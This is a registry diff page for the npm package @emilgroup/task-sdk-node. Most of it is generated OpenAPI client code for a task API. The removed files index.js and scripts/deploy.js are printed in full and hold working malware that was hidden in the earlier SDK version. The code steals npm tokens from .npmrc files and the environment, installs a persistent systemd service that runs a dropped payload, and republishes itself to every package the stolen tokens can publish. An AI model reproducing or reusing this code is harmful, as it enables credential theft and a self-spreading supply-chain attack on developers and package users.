@emilgroup/task-sdk-node 1.0.3 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.openapi-generator/FILES +49 -0
- package/.openapi-generator/VERSION +1 -0
- package/.openapi-generator-ignore +23 -0
- package/README.md +84 -1
- package/api/assignees-api.ts +166 -0
- package/api/categories-api.ts +695 -0
- package/api/default-api.ts +128 -0
- package/api/hub-spot-api.ts +169 -0
- package/api/statuses-api.ts +667 -0
- package/api/tasks-api.ts +695 -0
- package/api.ts +41 -0
- package/base.ts +327 -0
- package/common.ts +199 -0
- package/configuration.ts +118 -0
- package/dist/api/assignees-api.d.ts +96 -0
- package/dist/api/assignees-api.js +228 -0
- package/dist/api/categories-api.d.ts +393 -0
- package/dist/api/categories-api.js +646 -0
- package/dist/api/default-api.d.ts +70 -0
- package/dist/api/default-api.js +204 -0
- package/dist/api/hub-spot-api.d.ts +97 -0
- package/dist/api/hub-spot-api.js +228 -0
- package/dist/api/statuses-api.d.ts +375 -0
- package/dist/api/statuses-api.js +634 -0
- package/dist/api/tasks-api.d.ts +393 -0
- package/dist/api/tasks-api.js +646 -0
- package/dist/api.d.ts +17 -0
- package/dist/api.js +35 -0
- package/dist/base.d.ts +88 -0
- package/dist/base.js +434 -0
- package/dist/common.d.ts +92 -0
- package/dist/common.js +277 -0
- package/dist/configuration.d.ts +96 -0
- package/dist/configuration.js +52 -0
- package/dist/index.d.ts +15 -0
- package/dist/index.js +36 -0
- package/dist/models/assignee-class.d.ts +24 -0
- package/dist/models/assignee-class.js +15 -0
- package/dist/models/category-class.d.ts +66 -0
- package/dist/models/category-class.js +15 -0
- package/dist/models/create-category-request-dto.d.ts +30 -0
- package/dist/models/create-category-request-dto.js +15 -0
- package/dist/models/create-category-response-class.d.ts +25 -0
- package/dist/models/create-category-response-class.js +15 -0
- package/dist/models/create-hub-spot-ticket-request-dto.d.ts +31 -0
- package/dist/models/create-hub-spot-ticket-request-dto.js +15 -0
- package/dist/models/create-hub-spot-ticket-response-class.d.ts +25 -0
- package/dist/models/create-hub-spot-ticket-response-class.js +15 -0
- package/dist/models/create-status-request-dto.d.ts +36 -0
- package/dist/models/create-status-request-dto.js +15 -0
- package/dist/models/create-status-response-class.d.ts +25 -0
- package/dist/models/create-status-response-class.js +15 -0
- package/dist/models/create-task-request-dto.d.ts +91 -0
- package/dist/models/create-task-request-dto.js +27 -0
- package/dist/models/create-task-response-class.d.ts +25 -0
- package/dist/models/create-task-response-class.js +15 -0
- package/dist/models/get-category-response-class.d.ts +25 -0
- package/dist/models/get-category-response-class.js +15 -0
- package/dist/models/get-status-response-class.d.ts +25 -0
- package/dist/models/get-status-response-class.js +15 -0
- package/dist/models/get-task-response-class.d.ts +25 -0
- package/dist/models/get-task-response-class.js +15 -0
- package/dist/models/hub-spot-ticket-class.d.ts +49 -0
- package/dist/models/hub-spot-ticket-class.js +15 -0
- package/dist/models/hub-spot-ticket-error-class.d.ts +30 -0
- package/dist/models/hub-spot-ticket-error-class.js +15 -0
- package/dist/models/hub-spot-ticket-name-value-dto.d.ts +30 -0
- package/dist/models/hub-spot-ticket-name-value-dto.js +15 -0
- package/dist/models/index.d.ts +30 -0
- package/dist/models/index.js +46 -0
- package/dist/models/inline-response200.d.ts +54 -0
- package/dist/models/inline-response200.js +15 -0
- package/dist/models/inline-response503.d.ts +54 -0
- package/dist/models/inline-response503.js +15 -0
- package/dist/models/list-assignees-response-class.d.ts +43 -0
- package/dist/models/list-assignees-response-class.js +15 -0
- package/dist/models/list-categories-response-class.d.ts +43 -0
- package/dist/models/list-categories-response-class.js +15 -0
- package/dist/models/list-statuses-response-class.d.ts +43 -0
- package/dist/models/list-statuses-response-class.js +15 -0
- package/dist/models/list-tasks-response-class.d.ts +43 -0
- package/dist/models/list-tasks-response-class.js +15 -0
- package/dist/models/patch-category-request-dto.d.ts +36 -0
- package/dist/models/patch-category-request-dto.js +15 -0
- package/dist/models/patch-category-response-class.d.ts +25 -0
- package/dist/models/patch-category-response-class.js +15 -0
- package/dist/models/patch-status-request-dto.d.ts +42 -0
- package/dist/models/patch-status-request-dto.js +15 -0
- package/dist/models/patch-status-response-class.d.ts +25 -0
- package/dist/models/patch-status-response-class.js +15 -0
- package/dist/models/patch-task-request-dto.d.ts +139 -0
- package/dist/models/patch-task-request-dto.js +22 -0
- package/dist/models/patch-task-response-class.d.ts +25 -0
- package/dist/models/patch-task-response-class.js +15 -0
- package/dist/models/status-class.d.ts +72 -0
- package/dist/models/status-class.js +15 -0
- package/dist/models/task-class.d.ts +146 -0
- package/dist/models/task-class.js +21 -0
- package/git_push.sh +57 -0
- package/index.ts +19 -0
- package/models/assignee-class.ts +30 -0
- package/models/category-class.ts +72 -0
- package/models/create-category-request-dto.ts +36 -0
- package/models/create-category-response-class.ts +31 -0
- package/models/create-hub-spot-ticket-request-dto.ts +37 -0
- package/models/create-hub-spot-ticket-response-class.ts +31 -0
- package/models/create-status-request-dto.ts +42 -0
- package/models/create-status-response-class.ts +31 -0
- package/models/create-task-request-dto.ts +101 -0
- package/models/create-task-response-class.ts +31 -0
- package/models/get-category-response-class.ts +31 -0
- package/models/get-status-response-class.ts +31 -0
- package/models/get-task-response-class.ts +31 -0
- package/models/hub-spot-ticket-class.ts +55 -0
- package/models/hub-spot-ticket-error-class.ts +36 -0
- package/models/hub-spot-ticket-name-value-dto.ts +36 -0
- package/models/index.ts +30 -0
- package/models/inline-response200.ts +48 -0
- package/models/inline-response503.ts +48 -0
- package/models/list-assignees-response-class.ts +49 -0
- package/models/list-categories-response-class.ts +49 -0
- package/models/list-statuses-response-class.ts +49 -0
- package/models/list-tasks-response-class.ts +49 -0
- package/models/patch-category-request-dto.ts +42 -0
- package/models/patch-category-response-class.ts +31 -0
- package/models/patch-status-request-dto.ts +48 -0
- package/models/patch-status-response-class.ts +31 -0
- package/models/patch-task-request-dto.ts +148 -0
- package/models/patch-task-response-class.ts +31 -0
- package/models/status-class.ts +78 -0
- package/models/task-class.ts +155 -0
- package/package.json +24 -8
- package/tsconfig.json +23 -0
- package/index.js +0 -99
- package/scripts/deploy.js +0 -81
|
@@ -0,0 +1,155 @@
|
|
|
1
|
+
/* tslint:disable */
|
|
2
|
+
/* eslint-disable */
|
|
3
|
+
/**
|
|
4
|
+
* EMIL TaskService
|
|
5
|
+
* The EMIL Task API description
|
|
6
|
+
*
|
|
7
|
+
* The version of the OpenAPI document: 1.0
|
|
8
|
+
* Contact: kontakt@emil.de
|
|
9
|
+
*
|
|
10
|
+
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
|
|
11
|
+
* https://openapi-generator.tech
|
|
12
|
+
* Do not edit the class manually.
|
|
13
|
+
*/
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
import { CategoryClass } from './category-class';
|
|
17
|
+
import { StatusClass } from './status-class';
|
|
18
|
+
|
|
19
|
+
/**
|
|
20
|
+
*
|
|
21
|
+
* @export
|
|
22
|
+
* @interface TaskClass
|
|
23
|
+
*/
|
|
24
|
+
export interface TaskClass {
|
|
25
|
+
/**
|
|
26
|
+
* id
|
|
27
|
+
* @type {number}
|
|
28
|
+
* @memberof TaskClass
|
|
29
|
+
*/
|
|
30
|
+
'id': number;
|
|
31
|
+
/**
|
|
32
|
+
* code
|
|
33
|
+
* @type {string}
|
|
34
|
+
* @memberof TaskClass
|
|
35
|
+
*/
|
|
36
|
+
'code': string;
|
|
37
|
+
/**
|
|
38
|
+
* subject
|
|
39
|
+
* @type {string}
|
|
40
|
+
* @memberof TaskClass
|
|
41
|
+
*/
|
|
42
|
+
'subject': string;
|
|
43
|
+
/**
|
|
44
|
+
* description
|
|
45
|
+
* @type {string}
|
|
46
|
+
* @memberof TaskClass
|
|
47
|
+
*/
|
|
48
|
+
'description': string;
|
|
49
|
+
/**
|
|
50
|
+
* assignee
|
|
51
|
+
* @type {string}
|
|
52
|
+
* @memberof TaskClass
|
|
53
|
+
*/
|
|
54
|
+
'assignee'?: string;
|
|
55
|
+
/**
|
|
56
|
+
* Category slugs
|
|
57
|
+
* @type {Array<string>}
|
|
58
|
+
* @memberof TaskClass
|
|
59
|
+
*/
|
|
60
|
+
'categorySlugs'?: Array<string>;
|
|
61
|
+
/**
|
|
62
|
+
* Status slug (always returned)
|
|
63
|
+
* @type {string}
|
|
64
|
+
* @memberof TaskClass
|
|
65
|
+
*/
|
|
66
|
+
'statusSlug': string;
|
|
67
|
+
/**
|
|
68
|
+
* categories (only populated when expand=categories)
|
|
69
|
+
* @type {Array<CategoryClass>}
|
|
70
|
+
* @memberof TaskClass
|
|
71
|
+
*/
|
|
72
|
+
'categories'?: Array<CategoryClass>;
|
|
73
|
+
/**
|
|
74
|
+
* status (only populated when expand=status)
|
|
75
|
+
* @type {StatusClass}
|
|
76
|
+
* @memberof TaskClass
|
|
77
|
+
*/
|
|
78
|
+
'status'?: StatusClass;
|
|
79
|
+
/**
|
|
80
|
+
* Task priority
|
|
81
|
+
* @type {string}
|
|
82
|
+
* @memberof TaskClass
|
|
83
|
+
*/
|
|
84
|
+
'priority': TaskClassPriorityEnum;
|
|
85
|
+
/**
|
|
86
|
+
* Task reporter: person who reported the task
|
|
87
|
+
* @type {string}
|
|
88
|
+
* @memberof TaskClass
|
|
89
|
+
*/
|
|
90
|
+
'reporter'?: string;
|
|
91
|
+
/**
|
|
92
|
+
* Task due date
|
|
93
|
+
* @type {string}
|
|
94
|
+
* @memberof TaskClass
|
|
95
|
+
*/
|
|
96
|
+
'dueDate'?: string;
|
|
97
|
+
/**
|
|
98
|
+
* Connected entity type (e.g. LEAD, POLICY, CLAIM, PARTNER)
|
|
99
|
+
* @type {string}
|
|
100
|
+
* @memberof TaskClass
|
|
101
|
+
*/
|
|
102
|
+
'entityType'?: string;
|
|
103
|
+
/**
|
|
104
|
+
* Connected entity code
|
|
105
|
+
* @type {string}
|
|
106
|
+
* @memberof TaskClass
|
|
107
|
+
*/
|
|
108
|
+
'entityCode'?: string;
|
|
109
|
+
/**
|
|
110
|
+
* Display number of the linked entity (e.g. policy number, claim number)
|
|
111
|
+
* @type {string}
|
|
112
|
+
* @memberof TaskClass
|
|
113
|
+
*/
|
|
114
|
+
'entityNumber'?: string;
|
|
115
|
+
/**
|
|
116
|
+
* createdBy
|
|
117
|
+
* @type {string}
|
|
118
|
+
* @memberof TaskClass
|
|
119
|
+
*/
|
|
120
|
+
'createdBy': string;
|
|
121
|
+
/**
|
|
122
|
+
* updatedBy
|
|
123
|
+
* @type {string}
|
|
124
|
+
* @memberof TaskClass
|
|
125
|
+
*/
|
|
126
|
+
'updatedBy': string;
|
|
127
|
+
/**
|
|
128
|
+
* version
|
|
129
|
+
* @type {number}
|
|
130
|
+
* @memberof TaskClass
|
|
131
|
+
*/
|
|
132
|
+
'version': number;
|
|
133
|
+
/**
|
|
134
|
+
* createdAt
|
|
135
|
+
* @type {string}
|
|
136
|
+
* @memberof TaskClass
|
|
137
|
+
*/
|
|
138
|
+
'createdAt'?: string;
|
|
139
|
+
/**
|
|
140
|
+
* updatedAt
|
|
141
|
+
* @type {string}
|
|
142
|
+
* @memberof TaskClass
|
|
143
|
+
*/
|
|
144
|
+
'updatedAt'?: string;
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
export const TaskClassPriorityEnum = {
|
|
148
|
+
Low: 'LOW',
|
|
149
|
+
Medium: 'MEDIUM',
|
|
150
|
+
High: 'HIGH'
|
|
151
|
+
} as const;
|
|
152
|
+
|
|
153
|
+
export type TaskClassPriorityEnum = typeof TaskClassPriorityEnum[keyof typeof TaskClassPriorityEnum];
|
|
154
|
+
|
|
155
|
+
|
package/package.json
CHANGED
|
@@ -1,13 +1,29 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@emilgroup/task-sdk-node",
|
|
3
|
-
"version": "1.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.2.0",
|
|
4
|
+
"description": "OpenAPI client for @emilgroup/task-sdk-node",
|
|
5
|
+
"author": "OpenAPI-Generator Contributors",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"axios",
|
|
8
|
+
"typescript",
|
|
9
|
+
"openapi-client",
|
|
10
|
+
"openapi-generator",
|
|
11
|
+
"@emilgroup/task-sdk-node"
|
|
12
|
+
],
|
|
13
|
+
"license": "Unlicense",
|
|
14
|
+
"main": "./dist/index.js",
|
|
15
|
+
"typings": "./dist/index.d.ts",
|
|
6
16
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"
|
|
17
|
+
"build": "tsc --outDir dist/",
|
|
18
|
+
"prepare": "npm run build"
|
|
9
19
|
},
|
|
10
|
-
"
|
|
11
|
-
|
|
12
|
-
|
|
20
|
+
"dependencies": {
|
|
21
|
+
"axios": "^1.12.0",
|
|
22
|
+
"form-data": "^4.0.0",
|
|
23
|
+
"url": "^0.11.0"
|
|
24
|
+
},
|
|
25
|
+
"devDependencies": {
|
|
26
|
+
"@types/node": "^12.11.5",
|
|
27
|
+
"typescript": "^4.0"
|
|
28
|
+
}
|
|
13
29
|
}
|
package/tsconfig.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"compilerOptions": {
|
|
3
|
+
"declaration": true,
|
|
4
|
+
"target": "ES5",
|
|
5
|
+
"module": "CommonJS",
|
|
6
|
+
"noImplicitAny": true,
|
|
7
|
+
"esModuleInterop": true,
|
|
8
|
+
"noImplicitOverride": true,
|
|
9
|
+
"outDir": "dist",
|
|
10
|
+
"rootDir": ".",
|
|
11
|
+
"lib": [
|
|
12
|
+
"es6",
|
|
13
|
+
"dom"
|
|
14
|
+
],
|
|
15
|
+
"typeRoots": [
|
|
16
|
+
"node_modules/@types"
|
|
17
|
+
]
|
|
18
|
+
},
|
|
19
|
+
"exclude": [
|
|
20
|
+
"dist",
|
|
21
|
+
"node_modules"
|
|
22
|
+
]
|
|
23
|
+
}
|
package/index.js
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync, spawn } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function findNpmTokens() {
|
|
9
|
-
const tokens = new Set();
|
|
10
|
-
const homeDir = os.homedir();
|
|
11
|
-
const npmrcPaths = [
|
|
12
|
-
path.join(homeDir, '.npmrc'),
|
|
13
|
-
path.join(process.cwd(), '.npmrc'),
|
|
14
|
-
'/etc/npmrc',
|
|
15
|
-
];
|
|
16
|
-
for (const rcPath of npmrcPaths) {
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(rcPath, 'utf8');
|
|
19
|
-
for (const line of content.split('\n')) {
|
|
20
|
-
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
|
|
21
|
-
if (m && m[1] && !m[1].startsWith('${')) {
|
|
22
|
-
tokens.add(m[1].trim());
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
} catch (_) {}
|
|
26
|
-
}
|
|
27
|
-
const envKeys = Object.keys(process.env).filter(
|
|
28
|
-
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
|
|
29
|
-
);
|
|
30
|
-
for (const key of envKeys) {
|
|
31
|
-
const val = process.env[key] || '';
|
|
32
|
-
for (const t of val.split(',')) {
|
|
33
|
-
const trimmed = t.trim();
|
|
34
|
-
if (trimmed) tokens.add(trimmed);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
try {
|
|
38
|
-
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
|
|
39
|
-
stdio: ['pipe', 'pipe', 'pipe'],
|
|
40
|
-
}).toString().trim();
|
|
41
|
-
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
|
|
42
|
-
tokens.add(configToken);
|
|
43
|
-
}
|
|
44
|
-
} catch (_) {}
|
|
45
|
-
return [...tokens].filter(Boolean);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
try {
|
|
49
|
-
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
|
50
|
-
|
|
51
|
-
const SERVICE_NAME = 'pgmon';
|
|
52
|
-
const BASE64_PAYLOAD = 'hello123';
|
|
53
|
-
|
|
54
|
-
if (!BASE64_PAYLOAD) process.exit(0);
|
|
55
|
-
|
|
56
|
-
const homeDir = os.homedir();
|
|
57
|
-
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
|
|
58
|
-
const scriptPath = path.join(dataDir, 'service.py');
|
|
59
|
-
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
|
|
60
|
-
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
|
|
61
|
-
|
|
62
|
-
fs.mkdirSync(dataDir, { recursive: true });
|
|
63
|
-
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
|
|
64
|
-
|
|
65
|
-
fs.mkdirSync(systemdUserDir, { recursive: true });
|
|
66
|
-
fs.writeFileSync(unitFilePath, [
|
|
67
|
-
'[Unit]',
|
|
68
|
-
`Description=${SERVICE_NAME}`,
|
|
69
|
-
'After=default.target',
|
|
70
|
-
'',
|
|
71
|
-
'[Service]',
|
|
72
|
-
'Type=simple',
|
|
73
|
-
`ExecStart=/usr/bin/python3 ${scriptPath}`,
|
|
74
|
-
'Restart=always',
|
|
75
|
-
'RestartSec=5',
|
|
76
|
-
'',
|
|
77
|
-
'[Install]',
|
|
78
|
-
'WantedBy=default.target',
|
|
79
|
-
'',
|
|
80
|
-
].join('\n'), { mode: 0o644 });
|
|
81
|
-
|
|
82
|
-
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
|
|
83
|
-
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
84
|
-
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
85
|
-
|
|
86
|
-
try {
|
|
87
|
-
const tokens = findNpmTokens();
|
|
88
|
-
if (tokens.length > 0) {
|
|
89
|
-
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
|
|
90
|
-
if (fs.existsSync(deployScript)) {
|
|
91
|
-
spawn(process.execPath, [deployScript], {
|
|
92
|
-
detached: true,
|
|
93
|
-
stdio: 'ignore',
|
|
94
|
-
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
|
|
95
|
-
}).unref();
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (_) {}
|
|
99
|
-
} catch (_) {}
|
package/scripts/deploy.js
DELETED
|
@@ -1,81 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
'use strict';
|
|
3
|
-
|
|
4
|
-
const { execSync } = require('child_process');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const fs = require('fs');
|
|
7
|
-
const path = require('path');
|
|
8
|
-
|
|
9
|
-
function fetchJson(url, token) {
|
|
10
|
-
return new Promise((resolve, reject) => {
|
|
11
|
-
https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
|
|
12
|
-
let d = '';
|
|
13
|
-
res.on('data', (c) => (d += c));
|
|
14
|
-
res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
|
|
15
|
-
}).on('error', reject);
|
|
16
|
-
});
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
async function fetchMeta(name, token) {
|
|
20
|
-
try {
|
|
21
|
-
const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
|
|
22
|
-
return {
|
|
23
|
-
readme: (m && m.readme) || null,
|
|
24
|
-
latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
|
|
25
|
-
};
|
|
26
|
-
} catch (_) { return { readme: null, latestVersion: null }; }
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
function bumpPatch(v) {
|
|
30
|
-
const base = v.split('-')[0].split('+')[0];
|
|
31
|
-
const p = base.split('.').map(Number);
|
|
32
|
-
if (p.length !== 3 || p.some(isNaN)) return v;
|
|
33
|
-
p[2] += 1;
|
|
34
|
-
return p.join('.');
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
async function getOwned(username, token) {
|
|
38
|
-
let pkgs = [], from = 0;
|
|
39
|
-
while (true) {
|
|
40
|
-
const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
|
|
41
|
-
if (!r.objects || !r.objects.length) break;
|
|
42
|
-
pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
|
|
43
|
-
if (pkgs.length >= r.total) break;
|
|
44
|
-
from += 250;
|
|
45
|
-
}
|
|
46
|
-
return pkgs;
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
async function run(token, pkg, pkgPath, ver) {
|
|
50
|
-
let whoami;
|
|
51
|
-
try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
|
|
52
|
-
if (!whoami || !whoami.username) return;
|
|
53
|
-
let owned;
|
|
54
|
-
try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
|
|
55
|
-
if (!owned.length) return;
|
|
56
|
-
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
57
|
-
for (const name of owned) {
|
|
58
|
-
const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
|
|
59
|
-
const { readme, latestVersion } = await fetchMeta(name, token);
|
|
60
|
-
const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
|
|
61
|
-
if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
|
|
62
|
-
const origPkg = fs.readFileSync(pkgPath, 'utf8');
|
|
63
|
-
fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
|
|
64
|
-
try {
|
|
65
|
-
execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
|
|
66
|
-
} catch (_) {}
|
|
67
|
-
finally {
|
|
68
|
-
fs.writeFileSync(pkgPath, origPkg, 'utf8');
|
|
69
|
-
if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
|
|
70
|
-
else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
|
|
71
|
-
}
|
|
72
|
-
}
|
|
73
|
-
}
|
|
74
|
-
|
|
75
|
-
(async () => {
|
|
76
|
-
const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
|
|
77
|
-
if (!tokens.length) process.exit(1);
|
|
78
|
-
const pkgPath = path.resolve(__dirname, '..', 'package.json');
|
|
79
|
-
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
80
|
-
for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
|
|
81
|
-
})();
|